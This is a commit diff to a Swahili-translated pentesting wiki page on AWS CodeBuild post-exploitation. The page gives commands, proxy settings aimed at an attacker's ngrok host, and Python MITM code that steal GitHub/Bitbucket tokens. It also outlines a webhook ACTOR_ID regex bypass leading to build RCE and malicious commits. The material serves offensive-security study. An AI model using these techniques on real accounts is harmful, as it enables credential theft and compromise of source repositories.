mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+52
-35
@@ -2,47 +2,47 @@
|
|||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Recover Github/Bitbucket Configured Tokens
|
## Rejesha Tokens za Github/Bitbucket Zilizosanidiwa
|
||||||
|
|
||||||
Kwanza, angalia kama kuna akiba za chanzo zilizowekwa ambazo unaweza kuvuja:
|
Kwanza, angalia kama kuna source credentials zilizosanidiwa ambazo unaweza leak:
|
||||||
```bash
|
```bash
|
||||||
aws codebuild list-source-credentials
|
aws codebuild list-source-credentials
|
||||||
```
|
```
|
||||||
### Kupitia Picha ya Docker
|
### Kupitia Docker Image
|
||||||
|
|
||||||
Ikiwa unapata kwamba uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza **kuondoa** hiyo **ufikiaji** (**GH token au OAuth token**) kwa kufanya Codebuild **itumie picha maalum ya docker** kuendesha ujenzi wa mradi.
|
Ikiwa utagundua kuwa authentication kwa mfano Github imewekwa kwenye akaunti, unaweza **exfiltrate** huo **ufikiaji** (**GH token or OAuth token**) kwa kufanya Codebuild itumie **docker image** maalum ili kukimbia build ya project.
|
||||||
|
|
||||||
Kwa kusudi hili unaweza **kuunda mradi mpya wa Codebuild** au kubadilisha **mazingira** ya moja iliyopo ili kuweka **picha ya Docker**.
|
Kwa madhumuni haya unaweza **unda project mpya ya Codebuild** au kubadilisha **mazingira** ya ile iliyopo ili kuweka **Docker image**.
|
||||||
|
|
||||||
Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni picha ya Docker ya msingi sana ambayo itaweka **mabadiliko ya env `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**.
|
The Docker image unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni Docker image ya msingi itakayoweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuwezesha kuingilia sehemu kubwa ya trafiki ya host iliyotajwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyotajwa katika **`SSL_CERT_FILE`**.
|
||||||
|
|
||||||
1. **Unda & Pakia picha yako ya Docker MitM**
|
1. **Tengeneza & Pakia Docker MitM image yako**
|
||||||
- Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na **ujenge picha ya docker**.
|
- Fuata maelekezo ya repo ili kuweka anwani ya IP ya proxy yako na kuweka SSL cert yako na **jenga docker image**.
|
||||||
- **USIWEKE `http_proxy`** ili usikamate maombi kwa kiungo cha metadata.
|
- **DO NOT SET `http_proxy`** ili kuepuka kuingilia maombi kuelekea metadata endpoint.
|
||||||
- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` kuweka proxy kwa mwenyeji wako
|
- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` ili kuweka proxy kwa host yako
|
||||||
- Mara tu unapokuwa na picha ya Docker iliyojengwa, **pakia kwenye repo ya umma** (Dockerhub, ECR...)
|
- Mara utakapo jenga Docker image, **pakia kwenye repo ya umma** (Dockerhub, ECR...)
|
||||||
2. **Weka mazingira**
|
2. **Weka mazingira**
|
||||||
- Unda **mradi mpya wa Codebuild** au **badilisha** mazingira ya moja iliyopo.
|
- Unda **project mpya ya Codebuild** au **badilisha** mazingira ya ile iliyopo.
|
||||||
- Weka mradi kutumia **picha ya Docker iliyozalishwa hapo awali**
|
- Weka project itumie **Docker image uliyoitengeneza hapo awali**
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
3. **Weka proxy ya MitM katika mwenyeji wako**
|
3. **Sanidi MitM proxy kwenye host yako**
|
||||||
|
|
||||||
- Kama ilivyoonyeshwa katika **repo ya Github** unaweza kutumia kitu kama:
|
- Kama ilivyoonyeshwa katika **Github repo** unaweza kutumia kitu kama:
|
||||||
```bash
|
```bash
|
||||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Toleo la **mitmproxy lililotumika ni 9.0.1**, iliripotiwa kwamba na toleo la 10 hii huenda isifanye kazi.
|
> Toleo la **mitmproxy 9.0.1** lililotumika; imeripotiwa kwamba kwa toleo 10 hii inaweza isifanye kazi.
|
||||||
|
|
||||||
4. **Kimbia ujenzi & kamata akreditivu**
|
4. **Endesha build & capture the credentials**
|
||||||
|
|
||||||
- Unaweza kuona token katika kichwa cha **Authorization**:
|
- Unaweza kuona token katika kichwa cha **Authorization**:
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama
|
Hii pia inaweza kufanywa kupitia aws cli kwa kitu kama
|
||||||
```bash
|
```bash
|
||||||
# Create project using a Github connection
|
# Create project using a Github connection
|
||||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
|||||||
# Start the build
|
# Start the build
|
||||||
aws codebuild start-build --project-name my-project2
|
aws codebuild start-build --project-name my-project2
|
||||||
```
|
```
|
||||||
### Via insecureSSL
|
### Kupitia insecureSSL
|
||||||
|
|
||||||
**Codebuild** miradi yana mipangilio inayoitwa **`insecureSsl`** ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.\
|
Miradi ya **Codebuild** yana mpangilio uitwao **`insecureSsl`** ambao umefichwa kwenye web; unaweza kuubadilisha tu kupitia API.\
|
||||||
Kuwezesha hili, inaruhusu Codebuild kuungana na hifadhi **bila kuangalia cheti** kinachotolewa na jukwaa.
|
Kuwezesha hili kunaruhusu Codebuild kuungana na repository **bila kukagua cheti** kinachotolewa na jukwaa.
|
||||||
|
|
||||||
- Kwanza unahitaji kuhesabu usanidi wa sasa kwa kutumia kitu kama:
|
- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kitu kama:
|
||||||
```bash
|
```bash
|
||||||
aws codebuild batch-get-projects --name <proj-name>
|
aws codebuild batch-get-projects --name <proj-name>
|
||||||
```
|
```
|
||||||
- Kisha, kwa kutumia taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya).
|
- Kisha, kwa taarifa zilizokusanywa unaweza kusasisha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyosasisha mradi, zingatia **`insecureSsl=True`** mwishoni (hii ndiyo pekee unayohitaji kubadilisha kutoka kwa usanidi uliokusanywa).
|
||||||
- Zaidi ya hayo, ongeza pia mabadiliko ya mazingira **http_proxy** na **https_proxy** yanayoelekeza kwenye tcp ngrok yako kama:
|
- Zaidi ya hayo, ongeza pia vigezo vya mazingira **http_proxy** na **https_proxy** vinavyoelekeza kwa tcp ngrok yako kama:
|
||||||
```bash
|
```bash
|
||||||
aws codebuild update-project --name <proj-name> \
|
aws codebuild update-project --name <proj-name> \
|
||||||
--source '{
|
--source '{
|
||||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
|||||||
]
|
]
|
||||||
}'
|
}'
|
||||||
```
|
```
|
||||||
- Kisha,endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari iliyoonyeshwa na mabadiliko ya proxy (http_proxy na https_proxy)
|
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) katika bandari iliyoonyeshwa na proxy variables (http_proxy na https_proxy)
|
||||||
```python
|
```python
|
||||||
from mitm import MITM, protocol, middleware, crypto
|
from mitm import MITM, protocol, middleware, crypto
|
||||||
|
|
||||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
|||||||
)
|
)
|
||||||
mitm.run()
|
mitm.run()
|
||||||
```
|
```
|
||||||
- Hatimaye, bonyeza **Build the project**, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm:
|
- Mwisho, bonyeza kwenye **Build the project**, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwenye port ya mitm:
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### ~~Kupitia protokali ya HTTP~~
|
### ~~Kupitia HTTP protocol~~
|
||||||
|
|
||||||
> [!TIP] > **Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo mshambuliaji hawezi kuutumia tena :)**
|
> [!TIP] > **This vulnerability ilirekebishwa na AWS katika wiki ya 20 Februari 2023 (nadhani Ijumaa). Kwa hivyo mshambuliaji hawezi kuutilia mbinu tena :)**
|
||||||
|
|
||||||
Mshambuliaji mwenye **permissions za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket** iliyowekwa au ikiwa permissions zilipangwa kupitia OAuth, **token ya muda ya OAuth inayotumika kufikia msimbo**.
|
Mshambuliaji mwenye **idhini iliyoongezeka katika CodeBuild anaweza leak token ya Github/Bitbucket** iliyowekwa, au ikiwa idhini ilianzishwa kupitia OAuth, **token ya muda ya OAuth inayotumiwa kufikia code**.
|
||||||
|
|
||||||
- Mshambuliaji anaweza kuongeza mabadiliko ya mazingira **http_proxy** na **https_proxy** kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
|
- Mshambuliaji anaweza kuongeza environment variables **http_proxy** na **https_proxy** kwenye project ya CodeBuild ikielekeza kwa mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`).
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions`
|
- Kisha, badilisha URL ya github repo kutumia HTTP badala ya HTTPS, kwa mfano: `http://github.com/carlospolop-forks/TestActions`
|
||||||
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye bandari iliyotajwa na mabadiliko ya proxy (http_proxy na https_proxy)
|
- Kisha, endesha mfano wa msingi kutoka [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) kwenye port iliyoonyeshwa na proxy variables (http_proxy na https_proxy)
|
||||||
```python
|
```python
|
||||||
from mitm import MITM, protocol, middleware, crypto
|
from mitm import MITM, protocol, middleware, crypto
|
||||||
|
|
||||||
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
|
|||||||
)
|
)
|
||||||
mitm.run()
|
mitm.run()
|
||||||
```
|
```
|
||||||
- Kisha, bonyeza **Build the project** au anza ujenzi kutoka kwa mstari wa amri:
|
- Ifuatayo, bonyeza **Build the project** au anzisha ujenzi kutoka mstari wa amri:
|
||||||
```sh
|
```sh
|
||||||
aws codebuild start-build --project-name <proj-name>
|
aws codebuild start-build --project-name <proj-name>
|
||||||
```
|
```
|
||||||
- Hatimaye, **vithibitisho** vitatumwa kwa **maandishi wazi** (base64) kwenye bandari ya mitm:
|
- Hatimaye, **credentials** zitatumwa kwa **maandishi wazi** (base64) kwa port ya mitm:
|
||||||
|
|
||||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (kuitumia) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
|
> Sasa mshambuliaji ataweza kutumia token kutoka kwenye mashine yake, kuorodhesha ruhusa zote anazomiliki na (ab)use kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
|
||||||
|
|
||||||
|
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||||
|
|
||||||
|
Webhook za GitHub za CodeBuild zilizosanidiwa vibaya ambazo zinatumia `ACTOR_ID` regexes zisizo na anchoring zinaruhusu PR zisizoaminika kuanzisha privileged builds. Ikiwa allowlist ni kama `123456|7890123` bila `^`/`$`, ID yoyote yenye mojawapo ya sehemu hizo ndogo itafanana. Kwa kuwa GitHub user IDs ni mfululizo, mshambuliaji anaweza kukimbilia kujiandikisha kupata ID ya “eclipsing” (superstring ya ID ya kuaminika) na kuanzisha build.
|
||||||
|
|
||||||
|
**Exploit path**
|
||||||
|
|
||||||
|
1. Tafuta public CodeBuild projects zinazoonyesha webhook filters na chukua allowlist ya `ACTOR_ID` isiyo na anchoring.
|
||||||
|
2. Pata eclipsing GitHub ID:
|
||||||
|
- Sampuli kaunter ya global ID kwa kuunda/kufuta GitHub orgs (org IDs zinashirikiana katika pool).
|
||||||
|
- Weka tayari uundaji wa manifest nyingi za GitHub App na zipige confirmation URLs wakati kaunter iko ndani ya takriban ~100 IDs za lengo ili kujiandikisha kwa wingi bot ID yenye substring ya kuaminika.
|
||||||
|
3. Fungua PR kutoka kwa account ya eclipsing; regex inalingana na substring na privileged build inafanywa.
|
||||||
|
4. Tumia build RCE (mfano, dependency install hooks) kutoa memory ya process inayoshughulikia GitHub credential na kupata PAT/OAuth token.
|
||||||
|
5. Kwa kutumia token yenye `repo` scope, mkaribishe account yako kama collaborator/admin na push/approve malicious commits au exfiltrate secrets.
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Reference in New Issue
Block a user